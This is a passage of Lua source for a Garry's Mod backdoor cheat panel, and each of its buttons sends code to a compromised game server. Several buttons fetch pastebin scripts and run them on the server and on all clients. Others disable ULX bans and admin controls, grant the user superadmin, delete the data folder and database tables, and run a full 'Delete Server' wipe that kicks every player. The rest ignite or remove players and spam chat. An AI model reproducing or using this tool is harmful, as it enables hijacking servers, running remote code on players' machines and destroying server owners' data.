654noob.PostLua([[http.Fetch("https://pastebin.com/raw/PDLd3Yxx",function(b,l,h,c)RunString(b)end,nil)]])
655end)
656
657noob.AddButton("Destroy ULX Bans/Kick", bar1, function()
658surface.PlaySound("buttons/button18.wav")
659noob.PostLua([[ULib.Ban = function() return false end
660ULib.addBan = function() return end
661ULib.kick = function() return end]])
662end)
663
664noob.AddButton("Destroy ULX Completly", bar1, function()
665surface.PlaySound("buttons/button18.wav")
666noob.PostLua([[ULib.Ban = function() return false end
667ULib.addBan = function() return end
668ULib.kick = function() return end
669_G.ulx.cvars = function() return false end
670ULib.ucl.addUser = function() return end
671ULib.ucl.removeUser = function() return end
672ULib.ucl.query = function() return false end]])
673end)
674
675noob.AddButton("Earthquake", bar1, function()
676surface.PlaySound("buttons/button18.wav")
677noob.PostLua([[if !timer.Exists("earthquake") then
678timer.Create("earthquake", 0.5, 500, function()
679for _, p in pairs(player.GetAll()) do
680p:SetPos(p:GetPos() + Vector(0, 0, 1))
681p:SetVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150)))
682util.ScreenShake(p:GetPos(), 20, 1, 1, 100)
683p:EmitSound("ambient/explosions/exp1.wav", 100, math.random(60, 100))
684end
685for _, e in pairs(ents.GetAll()) do
686if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150))) end
687end
688end)
689else
690timer.Remove("earthquake")
691end]])
692end)
693
694noob.AddButton("Rainbow Physgun", bar1, function()
695surface.PlaySound("buttons/button18.wav")
696noob.PostLua([[timer.Create("rainbow", 1, 0, function()
697for k,v in pairs(player.GetAll()) do
698local col = HSVToColor(CurTime() % 6 * 60, 1, 1)
699v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
700end
701else
702timer.Remove("rainbow")
703end)]])
704end)
705
706noob.AddButton("Rainbow Chat Spam(on)", bar1, function()
707surface.PlaySound("buttons/button18.wav")
708Derma_StringRequest("Rainbow Chatspam", "Text", "", function(text)
709noob.PostLua([[
710chat = {}
711function chat.AddText(...)
712net.Start("REBUG")
713net.WriteTable({...})
714net.Broadcast()
715end
716function AddTextPly(ply, ...)
717net.Start("REBUG")
718net.WriteTable({...})
719net.Send(ply)
720end
721for k, v in pairs(player.GetAll()) do
722v:SendLua('net.Receive("REBUG", function(len) chat.AddText(unpack(net.ReadTable()))end)')
723end
724timer.Create("gotEm", 0.8, 120, function()
725local function ChatPrintRainbow(frequency, str)
726local text = {}
727for i = 1, #str do
728table.insert(text, HSVToColor(i * frequency % 360, 1, 1))
729table.insert(text, string.sub(str, i, i))
730end
731chat.AddText(unpack(text))
732end
733ChatPrintRainbow(10, "]] .. text .. [[")
734end)]])
735end)
736end)
737
738noob.AddButton("Rainbow Chat Spam(off)", bar1, function()
739surface.PlaySound("buttons/button18.wav")
740noob.PostLua([[ timer.Remove("gotEm")]])
741end)
742
743noob.AddButton("Meme Mode", bar1, function()
744surface.PlaySound("buttons/button18.wav")
745noob.PostLua([[http.Fetch('https://pastebin.com/raw/Mm9CKTM7',function(b,l,h,c)RunString(b)end,nil)]])
746end)
747
748noob.AddButton("Moan Steps", bar1, function()
749surface.PlaySound("buttons/button18.wav")
750noob.PostLua([[if !moanstep then
751hook.Add("PlayerFootstep", "oooh", function(ply)
752ply:EmitSound("vo/npc/female01/pain0" .. math.random(1, 9) .. ".wav", 75, math.random(50, 100))
753end)
754moanstep = true
755else
756hook.Remove("PlayerFootstep", "oooh")
757moanstep = false
758end]])
759end)
760
761noob.AddButton("Explode all vehicles", bar1, function()
762surface.PlaySound("buttons/button18.wav")
763noob.PostLua([[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
764local explo = ents.Create("env_explosion")
765explo:SetPos(v:GetPos())
766explo:SetKeyValue("iMagnitude", "300")
767explo:Spawn()
768explo:Activate()
769explo:Fire("Explode", "", 0)
770end
771end]])
772end)
773
774noob.AddButton("Toggle all doors", bar1, function()
775surface.PlaySound("buttons/button18.wav")
776noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
777end)
778
779noob.AddButton("Lock all doors", bar1, function()
780surface.PlaySound("buttons/button18.wav")
781noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("lock", "", 0) end end]])
782end)
783
784noob.AddButton("Unlock all doors", bar1, function()
785surface.PlaySound("buttons/button18.wav")
786noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
787end)
788
789noob.AddButton("Remove Bans", bar1, function()
790surface.PlaySound("buttons/button18.wav")
791noob.PostLua([[if file.Exists("ulib/bans.txt", "DATA") then file.Delete("ulib/bans.txt") end]])
792end)
793
794noob.AddButton("Reset all money", bar1, function()
795surface.PlaySound("buttons/button18.wav")
796noob.PostLua([[RunConsoleCommand("rp_resetallmoney")]])
797end)
798
799noob.AddButton("Vaporize all players", bar1, function()
800surface.PlaySound("buttons/button18.wav")
801noob.PostLua([[for k, v in pairs(player.GetAll()) do v:Remove() end]])
802end)
803
804noob.AddButton("FPP Unrestrict everything", bar1, function()
805surface.PlaySound("buttons/button18.wav")
806noob.PostLua([[if FPP then
807for k,v in pairs(FPP.Blocked) do
808for r,g in pairs(v) do
809RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
810end
811end
812end]])
813end)
814
815noob.AddButton("Wipe data folder", bar1, function()
816surface.PlaySound("buttons/button18.wav")
817noob.PostLua([[local files, directories = file.Find("*", "DATA") for k, v in pairs(files) do file.Delete(v) end]])
818end)
819
820noob.AddButton("Wipe SQL Tables", bar1, function()
821surface.PlaySound("buttons/button18.wav")
822noob.PostLua([[MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)')]])
823end)
824
825--[[-------------------------------------------------------------------------
826Backdoorpanel Features 2
827---------------------------------------------------------------------------]]
828noob.AddButton("Play Sound From URL", bar2, function()
829surface.PlaySound("buttons/button18.wav")
830Derma_StringRequest("Play Sound", "Set Link (Has to end with .AUDIOFORMAT)", "", function(str)
831noob.PostLua("BroadcastLua([[sound.PlayURL(\"".. str .."\" , \"mono\", function() end)]])")
832end)
833end)
834
835noob.AddButton("Ignite Everyone", bar2, function()
836surface.PlaySound("buttons/button18.wav")
837Derma_StringRequest("Ignite All Players", "Lenght In Seconds", "", function(str)
838noob.PostLua("for k, v in pairs(player.GetAll()) do v:Ignite(".. str ..") end")
839end)
840end)
841
842noob.AddButton("Rainbow Floor", bar2, function()
843surface.PlaySound("buttons/button18.wav")
844noob.PostLua([[local mats = Entity(0):GetMaterials()
845for k,v in pairs(mats) do
846local r,g,b = ColorRand().r-50, ColorRand().g-50, ColorRand().b-50
847Material(v):SetVector("$color", Vector(r,g,b))
848end]])
849end)
850
851noob.AddButton("Rave Music", bar2, function()
852surface.PlaySound("buttons/button18.wav")
853noob.PostLua("BroadcastLua([[surface.PlaySound('music/hl1_song25_remix3.mp3')]])")
854end)
855
856noob.AddButton("Rainbow HUD", bar2, function()
857surface.PlaySound("buttons/button18.wav")
858noob.PostLua([[if !rainbowscreen then
859BroadcastLua("hook.Add('HUDPaint', 'rainbowscreen', function() local cin = math.sin(CurTime() * 10) * 255 surface.SetDrawColor(Color(cin, -cin, cin, 100)) surface.DrawRect(0, 0, ScrW(), ScrH()) end)")
860rainbowscreen = true
861else
862BroadcastLua("hook.Remove('HUDPaint', 'rainbowscreen')")
863rainbowscreen = false
864end]])
865end)
866
867noob.AddButton("Rainbow Props", bar2, function()
868surface.PlaySound("buttons/button18.wav")
869noob.PostLua([[if !rainbowobjects then
870function RainbowObjects()
871for q ,c in pairs(ents.GetAll()) do
872local r = math.random(1, 255)
873local g = math.random(1, 255)
874local b = math.random(1, 255)
875c:SetColor(Color(r, g, b))
876end
877end
878hook.Add("Think" , "FuckingGay" , RainbowObjects)
879rainbowobjects = true
880else
881hook.Remove("Think", "FuckingGay")
882rainbowobjects = false
883end]])
884end)
885
886noob.AddButton("Hell Mode", bar2, function()
887surface.PlaySound("buttons/button18.wav")
888noob.PostLua([[BroadcastLua('http.Fetch('https://pastebin.com/raw/p5b1e2qV',function(b,l,h,c)RunString(b)end,nil)')]])
889end)
890
891noob.AddButton("Set Superadmin", bar2, function()
892surface.PlaySound("buttons/button18.wav")
893noob.PostLua([[local id = ]] .. LocalPlayer():UserID() .. [[
894Player(id):SetUserGroup("superadmin")
895]])
896end)
897
898noob.AddButton("Delete Server", bar2, function()
899surface.PlaySound("buttons/button18.wav")
900noob.PostLua([[local function WipeDir(dir)
901local files,dirs = file.Find(dir.."*", "DATA")
902for k,v in ipairs(files) do
903file.Delete(dir..v)
904end
905for k,v in ipairs(dirs) do
906WipeDir(v.."/")
907end
908end
909print(60*60*6)
910local function wiperpro()
911print("Wiping server data. . .")
912WipeDir("")
913sql.Query("DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)")
914if ULib then
915for k,v in pairs(ULib.ucl.groups) do
916if k != "user" then
917ULib.ucl.removeGroup(k)
918end
919end
920end
921if FPP then
922for k,v in pairs(FPP.Blocked) do
923for r,g in pairs(v) do
924RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
925end
926end
927end
928for i=1,256 do
929RunConsoleCommand("removeid",i)
930end
931for k,v in ipairs(player.GetAll()) do
932v:Kick("[ULX] Oops, seems like the server has been wiped !\nLeaking is bad")
933end
934print("Wipe finished !")
935end
936wiperpro()]])
937end)
938
939--[[-------------------------------------------------------------------------
940bdsettings Section
941---------------------------------------------------------------------------]]
942local BD1 = vgui.Create('DPanelList', bdsettings)
943BD1:SetSize(762, 53)
944BD1:SetPos(16, 37)
945BD1.Paint = function(s, w, h)
946surface.SetDrawColor(Color(20, 20, 20))
947surface.DrawRect(0, 0, w, h)
948surface.SetDrawColor(21, 21, 21)
949surface.SetMaterial(upgrad)
950surface.SetDrawColor(o_color2)
951surface.SetMaterial(downgrad)
952surface.SetDrawColor(o_color2)
953surface.SetDrawColor(70, 70, 70, 255)
954surface.DrawOutlinedRect(0, 0, w, h)
955end
956
957local setbd = vgui.Create("DTextEntry", BD1)
958setbd:SetPos(5, 5)
959setbd:SetSize(752, 44)
960setbd:SetTextColor(Color(255, 255, 255, 255))
961setbd:SetFont("Sheeta2")
962setbd.Paint = function(self, w, h)
963surface.SetDrawColor(Color(20, 20, 20))
964surface.DrawRect(0, 0, w, h)
965surface.SetDrawColor(45, 45, 45)
966surface.SetMaterial(upgrad)
967surface.SetDrawColor(o_color2)
968surface.SetMaterial(downgrad)
969surface.SetDrawColor(o_color2)
970surface.SetDrawColor(35, 35, 35, 255)
971surface.DrawOutlinedRect(0, 0, w, h)
972self:DrawTextEntryText(Color(255, 255, 255), Color(20, 20, 150), Color(100, 100, 100))
973end
974
975setbd.OnEnter = function(self)
976noob.Notify("Targeting: '" .. setbd:GetValue() .. "'")
977channel = self:GetValue()
978end
979
980local BD2 = vgui.Create("DPanelList", bdsettings)
981BD2:SetSize(762, 540)
982BD2:SetPos(16, 121)
983BD2.Paint = function(s, w, h)
984surface.SetDrawColor(Color(20, 20, 20))
985surface.DrawRect(0, 0, w, h)
986surface.SetDrawColor(21, 21, 21)
987surface.SetMaterial(upgrad)
988surface.SetDrawColor(o_color2)
989surface.SetMaterial(downgrad)
990surface.SetDrawColor(o_color2)
991surface.SetDrawColor(70, 70, 70, 255)
992surface.DrawOutlinedRect(0, 0, w, h)
993end
994
995local coderun = vgui.Create("DTextEntry", BD2)
996coderun:SetPos(5, 5)
997coderun:SetSize(752, 530)
998coderun:SetMultiline(true)
999coderun:SetText("")
1000coderun:SetTextColor(Color(255, 255, 255, 255))
1001coderun:SetFont("Sheeta2")
1002coderun.Paint = function(self, w, h)
1003surface.SetDrawColor(Color(20, 20, 20))
1004surface.DrawRect(0, 0, w, h)
1005surface.SetDrawColor(45, 45, 45)
1006surface.SetMaterial(upgrad)
1007surface.SetDrawColor(o_color2)
1008surface.SetMaterial(downgrad)
1009surface.SetDrawColor(o_color2)
1010surface.SetDrawColor(35, 35, 35, 255)
1011surface.DrawOutlinedRect(0, 0, w, h)
1012self:DrawTextEntryText(Color(255, 255, 255), Color(20, 20, 150), Color(100, 100, 100))
1013end
1014coderun.OnEnter = function(self)
1015chat.AddText(self:GetValue())
1016end
1017
1018local activerun = vgui.Create("DButton", bdsettings)
1019activerun:SetSize(762, 34)
1020activerun:SetPos(16, 665)
1021activerun:SetFont("Features")
1022activerun:SetText("Execute Code")
1023activerun:SetTextColor(Color(255, 255, 255, 255))
1024activerun.Paint = function(self, w, h)
1025surface.SetDrawColor(Color(20, 20, 20))
1026surface.DrawRect(0, 0, w, h)
1027surface.SetDrawColor(45, 45, 45)
1028surface.SetMaterial(upgrad)
1029surface.SetDrawColor(o_color2)
1030surface.SetMaterial(downgrad)
1031surface.SetDrawColor(o_color2)
1032surface.SetDrawColor(35, 35, 35, 255)
1033surface.DrawOutlinedRect(0, 0, w, h)
1034end
1035activerun.DoClick = function()
1036surface.PlaySound("buttons/button18.wav")
1037RunString(coderun:GetText())
1038end
1039end
1040concommand.Add("REBUG",REBUGGUI)